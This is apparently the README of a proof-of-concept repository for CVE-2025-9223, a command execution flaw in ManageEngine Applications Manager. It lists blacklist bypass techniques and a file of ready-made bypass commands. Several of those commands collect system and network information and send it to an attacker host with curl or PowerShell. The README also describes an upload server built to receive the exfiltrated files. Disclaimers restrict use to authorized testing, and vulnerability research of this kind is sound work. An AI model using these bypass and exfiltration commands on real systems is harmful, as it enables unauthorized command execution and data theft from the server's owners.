networkkiller/cve-2025-9223POC CVE-2025-9223
This repository contains a Proof of Concept (PoC) that demonstrates a command execution vulnerability in the "Execute Program Action" feature of ManageEngine Applications Manager.
Applications Manager uses a blacklist (BlackListCommands) to block dangerous commands, but the validation has critical flaws:
| Method | Example |
|---|
| Absolute Path | C:\Windows\System32\netstat.exe |
| Environment Variables | %SystemRoot%\System32\netstat.exe |
| Script Wrapper | echo netstat > a.bat && a.bat |
C:\Windows\System32\netstat.exe > out.txt && C:\Windows\System32\curl.exe -X POST -F "[email protected]" http://[KALI_IP]:8000/upload
The upload_server.py script provides a simple HTTP server for receiving exfiltrated files.
python3 upload_server.py
python3 upload_server.py --host 0.0.0.0 --port 8000 --dir ./uploads
--host: Bind address (default: 0.0.0.0)--port: HTTP port (default: 8000)--dir: Output directory (default: current directory)| Method | Endpoint | Description |
|---|---|---|
| GET | / | Lists recently uploaded files |
| POST | /upload | Uploads files (multipart/form-data) |
| PUT | /upload/[filename] | Direct file upload |
✅ Path traversal protection
✅ Unique filenames with timestamp
✅ Request logging with IP and User-Agent
✅ Content-Type validation
Create a test_commands.txt file with bypass examples:
# Bypass con ruta absoluta
C:\Windows\System32\whoami.exe
C:\Windows\System32\netstat.exe -an
# Bypass con variables de entorno
%SystemRoot%\System32\ipconfig.exe
%SystemRoot%\System32\systeminfo.exe
# Bypass con script wrapper
echo ipconfig > test.bat && test.bat
echo whoami > test.bat && call test.bat
# Ejemplos de exfiltración de datos
C:\Windows\System32\ipconfig.exe > network.txt && C:\Windows\System32\curl.exe -X POST -F "[email protected]" http://ATTACKER_IP:8000/upload
C:\Windows\System32\systeminfo.exe > system.txt && C:\Windows\System32\powershell.exe -c "Invoke-WebRequest -Uri http://ATTACKER_IP:8000/upload -Method POST -InFile system.txt"
IMPORTANT: This tool is provided solely for educational purposes and authorized testing.
❌ DO NOT use on systems you do not own or lack explicit permission to test
❌ DO NOT use for any illegal activity
✅ DO use only in controlled environments for security research
✅ DO obtain proper authorization before performing tests
The author is not responsible for any misuse of this tool. Users assume full responsibility and risk.
This project is for research and educational purposes only. All rights reserved.
Johan Aybar - For educational purposes
⚠️ REMINDER: This PoC must only be used in authorized test environments. Unauthorized use may be illegal and is strictly prohibited.